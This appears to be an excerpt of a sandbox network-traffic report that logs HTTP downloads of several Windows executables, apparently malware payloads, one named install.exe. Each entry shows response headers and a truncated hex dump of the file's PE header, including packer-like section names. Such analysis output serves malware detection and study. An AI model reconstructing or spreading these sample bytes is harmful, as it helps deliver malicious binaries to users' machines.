Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 01:17:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Thu, 29 Aug 2024 11:06:31 GMTETag: "2299a8-620d07788bbc0"Accept-Ranges: bytesContent-Length: 2267560Content-Type: application/x-msdownloadData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 7e f8 26 4c 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 14 01 00 00 c8 01 00 00 00 00 00 ef 1d 01 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 03 00 00 02 00 00 02 33 03 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 50 01 00 b4 00 00 00 00 a0 01 00 04 8d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 10 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 13 01 00 00 10 00 00 00 14 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ea 30 00 00 00 30 01 00 00 32 00 00 00 16 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 29 00 00 00 70 01 00 00 08 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 04 8d 01 00 00 a0 01 00 00 8e 01 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec 81 ec 00 09 00 00 53 56 57 6a 27 e8 8a 0f 00 00 8b 75 08 ff 76 0c 8b 3d 60 32 41 00 ff 36 50 8d 85 00 f7 ff ff 50 ff d7 83 65 08 00 83 c4 14 83 7e 10 00 76 38 8d 5e 14 ff 33 8d 85 00 ff ff ff 68 10 33 41 00 50 ff d7 83 c4 0c 8d 85 00 ff ff ff 50 8d 85 00 f7 ff ff 50 ff 15 70 31 41 00 ff 45 08 8b 45 08 83 c3 04 3b 46 10 72 cb 8d 85 00 f7 ff ff 50 e8 2c 66 00 00 59 e8 8b 2d 00 00 6a 0a ff 15 74 31 41 00 cc ff 74 24 04 e8 6c ff ff ff cc 33 c0 39 05 e4 77 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 dc 77 41 00 ff 15 f4 32 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 18 00 83 7c 24 08 00 75 07 c7 40 18 01 00 00 00 33 c0 c2 08 00 8b 44 24 04 85 c0 56 8b f1 89 06 74 06 8b 08 50 ff 51 04 8b c6 5e c2 04 00 8b 54 24 04 56 8b 74 24 0c 8b c2 0f b7 0e 66 89 0a 42 42 46 46 66 85 c9 75 f1 5e c3 8b 4c 24 04 33 c0 66 39 01 74 08 40 66 83 3c 41 00 75 f8 c3 53 8b 5c 24 08 56 8b f1 43 3b 5e 08 74 4c 57 33 c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 b4 0a 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 88 0a 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 30 Aug 2024 01:17:05 GMTContent-Type: application/octet-streamContent-Length: 1793024Last-Modified: Thu, 29 Aug 2024 22:45:02 GMTConnection: keep-aliveETag: "66d0f9ee-1b5c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4d 8b c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 00 80 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 68 00 00 04 00 00 af c2 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 f0 23 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 23 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 23 00 00 10 00 00 00 3c 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 23 00 00 00 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 23 00 00 02 00 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 00 24 00 00 02 00 00 00 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 72 7a 6c 72 6c 68 7a 00 f0 19 00 00 80 4e 00 00 e6 19 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 62 6d 6f 65 7a 77 64 00 10 00 00 00 70 68 00 00 04 00 00 00 36 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 68 00 00 22 00 00 00 3a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Fri, 30 Aug 2024 01:17:06 GMTContent-Type: application/octet-streamContent-Length: 4396288Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=install.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 24 9b 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 47 0d 44 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 a0 f5 42 00 60 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 44 92 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 4c 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:06 GMTContent-Type: application/octet-streamContent-Length: 913051Last-Modified: Thu, 29 Aug 2024 18:43:09 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0c13d-dee9b"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 ce 06 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 60 10 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 40 0f 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 64 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 6d 00 00 00 10 00 00 00 6e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 7e 06 00 00 b0 00 00 00 02 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 08 01 00 00 40 0f 00 00 08 01 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 32 0f 00 00 00 50 10 00 00 10 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:06 GMTContent-Type: application/octet-streamContent-Length: 3058688Last-Modified: Thu, 22 Aug 2024 06:47:15 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c6def3-2eac00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 97 46 af a3 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9a 2c 00 00 0e 02 00 00 00 00 00 ae b9 2c 00 00 20 00 00 00 c0 2c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 2f 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 b9 2c 00 4b 00 00 00 00 e0 2c 00 5c 09 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 00 0c 00 00 00 14 b9 2c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 99 2c 00 00 20 00 00 00 9a 2c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 e8 01 00 00 00 c0 2c 00 00 02 00 00 00 9e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 5c 09 02 00 00 e0 2c 00 00 0a 02 00 00 a0 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 2f 00 00 02 00 00 00 aa 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:07 GMTContent-Type: application/octet-streamContent-Length: 1068804Last-Modified: Thu, 29 Aug 2024 14:28:33 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d08591-104f04"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 da e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 ce 06 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 90 10 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 40 0f 00 d0 3d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 64 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae 6d 00 00 00 10 00 00 00 6e 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 7e 06 00 00 b0 00 00 00 02 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 d0 3d 01 00 00 40 0f 00 00 3e 01 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 32 0f 00 00 00 80 10 00 00 10 00 00 00 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:08 GMTContent-Type: application/octet-streamContent-Length: 5451592Last-Modified: Tue, 27 Aug 2024 16:18:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66cdfc48-532f48"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 91 29 96 df 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 50 42 00 00 50 10 00 00 00 00 00 7e 6f 42 00 00 20 00 00 00 80 42 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 53 00 00 04 00 00 bc a3 53 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 30 6f 42 00 4b 00 00 00 00 a0 42 00 d4 49 10 00 00 00 00 00 00 00 00 00 00 a4 52 00 48 8b 00 00 00 00 53 00 0c 00 00 00 d9 6e 42 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 4f 42 00 00 20 00 00 00 50 42 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 62 02 00 00 00 80 42 00 00 04 00 00 00 54 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d4 49 10 00 00 a0 42 00 00 4a 10 00 00 58 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 53 00 00 02 00 00 00 a2 52 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:09 GMTContent-Type: application/octet-streamContent-Length: 6604864Last-Modified: Thu, 29 Aug 2024 14:37:10 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d08796-64c840"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a7 e3 63 d3 00 00 00 00 00 